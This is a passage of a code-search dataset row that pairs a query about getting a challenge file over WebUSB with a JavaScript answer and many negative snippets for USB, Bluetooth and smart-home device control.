\"0.52163774\",\n \"0.521211\",\n \"0.5209181\",\n \"0.51974756\",\n \"0.5196469\",\n \"0.51837546\",\n \"0.5177954\",\n \"0.516178\",\n \"0.51512545\",\n \"0.5147174\",\n \"0.5141254\",\n \"0.5138159\",\n \"0.5130048\",\n \"0.5121737\",\n \"0.51207095\",\n \"0.51155424\",\n \"0.5093415\",\n \"0.50916004\",\n \"0.5079893\",\n \"0.507947\",\n \"0.5044861\",\n \"0.50287235\",\n \"0.50232357\",\n \"0.5014572\",\n \"0.5011383\",\n \"0.50094104\",\n \"0.50059235\",\n \"0.49870503\",\n \"0.49651325\",\n \"0.49646312\",\n \"0.4957968\",\n \"0.49397355\",\n \"0.49355248\",\n \"0.4933031\",\n \"0.49305695\",\n \"0.49214342\",\n \"0.49206194\",\n \"0.49155226\",\n \"0.4906333\",\n \"0.49052852\",\n \"0.49001572\",\n \"0.4897377\",\n \"0.48950967\",\n \"0.48870608\",\n \"0.48804173\",\n \"0.4879315\",\n \"0.4852489\",\n \"0.48491997\",\n \"0.4846404\",\n \"0.48336947\",\n \"0.48326552\",\n \"0.48210114\",\n \"0.48195332\",\n \"0.48153195\",\n \"0.4812433\",\n \"0.48043644\",\n \"0.4793943\",\n \"0.47933307\",\n \"0.4783341\",\n \"0.47805634\",\n \"0.47763786\",\n \"0.47715887\",\n \"0.47614968\",\n \"0.47608984\",\n \"0.47510663\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":17,"cells":{"query":{"kind":"string","value":"Call WebUSB API to get challenge.bin from device"},"document":{"kind":"string","value":"function getChallenge () {\n\n //Fake data\n var randomData = [];\n\n\n var bytes = new Uint8Array(4);\n for (var i=4; i--; ) {\n let longRandomNumber = Math.floor(Math.random() * 1000000000);\n bytes[i] = longRandomNumber & (255);\n longRandomNumber = longRandomNumber >> 8\n }\n randomData.push(bytes);\n console.log(randomData);\n var blob = new Blob(randomData);\n blob[\"lastModifiedDate\"] = \"\";\n blob[\"name\"] = \"challenge.bin\";\n var fakeF = blob;\n console.log(fakeF);\n return fakeF;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function getdevice (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\n webphone_api.plhandler.GetDevice(dev, callback);\n }\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","getHardware (cb) {\n\t\tvar self = this\n\n\t\tif (!this.started)\n\t\t{\n\t\t\treturn cb('Connection to MD-DM not started')\n\t\t}\n\n\t\tif (!this.device.connected)\n\t\t{\n\t\t\treturn cb('Not currently connected to MD-DM')\n\t\t}\n\n\t\tthis._connection.exec('SHOWHW', function (err, response) {\n\t\t\tself._logger.verbose(`SHOWHW response: ${response}`)\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tcb(err, TelnetOutputParser.parseHardware(response))\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t\tself._logger.warn(`Failed to parse response: ${response}`)\n\t\t\t\tcb(`Failed to parse response: ${e} / ${e.stack}`)\n\t\t\t}\n\t\t})\n\t}","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","async getBatteryLevel() {\n const outputReportID = 0x01;\n const subCommand = [0x50];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subCommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onBatteryLevel = ({ detail: batteryLevel }) => {\n this.removeEventListener('batterylevel', onBatteryLevel);\n delete batteryLevel._raw;\n delete batteryLevel._hex;\n resolve(batteryLevel);\n };\n this.addEventListener('batterylevel', onBatteryLevel);\n });\n }","async getDeviceDetails() {\n return this.digestClient\n .fetch(\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\n )\n .then((r) => r.text())\n .then((text) => {\n const deviceDetails = text\n .trim()\n .split('\\n')\n .reduce((obj, str) => {\n const [key, val] = str.split('=');\n obj[key] = val.trim();\n return obj;\n }, {});\n return deviceDetails;\n });\n }","async function readComms() {\n await transferByte(0x99);\n let readLen = await transferByte(0x00);\n if (readLen) {\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\n for(let ri = 0; ri < readLen; ri++) {\n let rx = await transferByte(0x00);\n rxBuff[ri] = rx;\n }\n return rxBuff;\n }\n return null;\n}","get_card_id_ex() {\n return new Promise((resolve, reject) => {\n\n let on_frame = (frame) => {\n // remove_listener();//remove to resever for next time \n switch (frame.type) {\n case CODE.ERR_HEADER: /* No card */\n\n let err_code = frame.buffer[1];\n if (err_code == CODE.NO_CARD) {\n resolve({ is_available: false, uid_len: 0, uid: '' });\n } else {\n reject(frame);\n }\n break;\n case CODE.RESPONSE_HEADER:/*have card */\n let uid_len = frame.buffer[5];\n let resp = {\n is_available: true\n };\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\n let uid_buffer = new Buffer.alloc(uid_len);\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\n resp.uid_len = uid_len;\n resp.uid = util.to_hex_string(uid_buffer);\n resolve(resp);\n }\n else {\n reject('invalid resp');\n }\n break;\n default:\n reject('invalid resp');\n break;\n }\n };\n this.once('frame', on_frame);//onetime fire\n\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\n this.send_command(\"55 2C AA 00 00 00 DA\");\n });\n }","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; i> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function _htob (hex) {\n if (hex) {\n if (typeof hex !== 'string') {\n throw new TypeError('Expected input to be a string')\n }\n\n if ((hex.length % 2) !== 0) {\n throw new RangeError('Expected string to be an even number of characters')\n }\n\n var view = new Uint8Array(hex.length / 2)\n\n for (var i = 0; i < hex.length; i += 2) {\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\n }\n\n return view\n } else {\n return null;\n }\n}","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","function getDeviceCapability()\r\n{\r\n\txrxDeviceConfigGetDeviceCapabilities( \"http://127.0.0.1\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\r\n}","getStatus() {\n return new Promise((resolve, reject) => {\n // send hex code for getting the status of power,rgb,warm\n send(this.ip, hexToArray(\"81:8a:8b:96\"), (data, err) => {\n if (err)\n reject(err)\n else {\n if(data) {\n const status = [];\n for(let i = 0; i < data.length; i+=2){\n status.push(data[i].concat(data[i+1]))\n }\n const power = status[2] === \"23\" ? \"on\" : \"off\"\n \n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\n \n const warm = parseInt(status[9], 16)\n const out = {\"power\" : power, \"rgb\" : rgb, \"warm\" : warm}\n resolve(out)\n }\n }\n });\n })\n }","getDeviceID(): Promise {\n return HyperTrack.getDeviceID();\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","function arduinoTest() {\n return request;\n}","function read(){\n\t\t\t\n\t\t\tvar deferred = $q.defer();\n\t\t\tserial.read(\n\t\t\t\tfunction success(data){\n\t\t\t\t\tvar byteArray = new Uint8Array(data);\n\t\t\t\t\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\n\t\t\t\t},\n\t\t\t\tfunction error(){\n\t\t\t\t\tdeferred.reject(new Error());\n\t\t\t\t}\n\t\t\t);\n\t\t\t\n\t\t\treturn deferred.promise;\n\t\t\t\n\t\t}","function getCCDA(url,uid,callback){\n var options = {\n host: api_domain,\n path: url+'?api_key='+api_key+'&uid='+uid,\n port: api_port\n}\n//Get the bindaas api\nvar request = http.request(options, function (res) {\n var data = '';\n res.on('data', function (chunk) {\n data += chunk;\n });\n res.on('end', function () {\n callback(data);\n });\n });\n request.on('error', function (e) {\n console.log(e.message);\n console.log(\"please check that your bindaas API is succesfully set up\");\n });\n request.end();\n}","readHydrawiseStatus(){\n const cmd = hydrawise_url_status + \"api_key=\" + this.config.hydrawise_apikey;\n\n // execute only if apikey is defined in config page\n if (this.config.hydrawise_apikey!=undefined){\n this.log.info(\"send: \"+cmd);\n //request(cmd, function (error, response, body){\n request(cmd, (error, response, body) => {\n\n if (!error && response.statusCode == 200) {\n // parse JSON response from Hydrawise controller\n var obj = JSON.parse(body);\n // read device config\n hc6.nextpoll = parseInt(obj.nextpoll);\n hc6.time = parseInt(obj.time);\n hc6.message = obj.message;\n this.log.info(\"nextpoll=\"+hc6.nextpoll+\" time=\"+hc6.time+\" message=\"+hc6.message);\n \n // read all configured sensors\n for (let i=0; i<=1; i++){\n // if sensor is configured\n if (obj.sensors[i]!=null){\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\n // read all related relays\n for (let j=0; j<=5; j++){\n // if relay is configured\n if (obj.sensors[i].relays[j]!=null){\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\n }\n };\n }\n this.log.info(\"sensor\"+i+\": input=\"+hc6.sensors[i].input+\" type=\"+hc6.sensors[i].type+\n \" 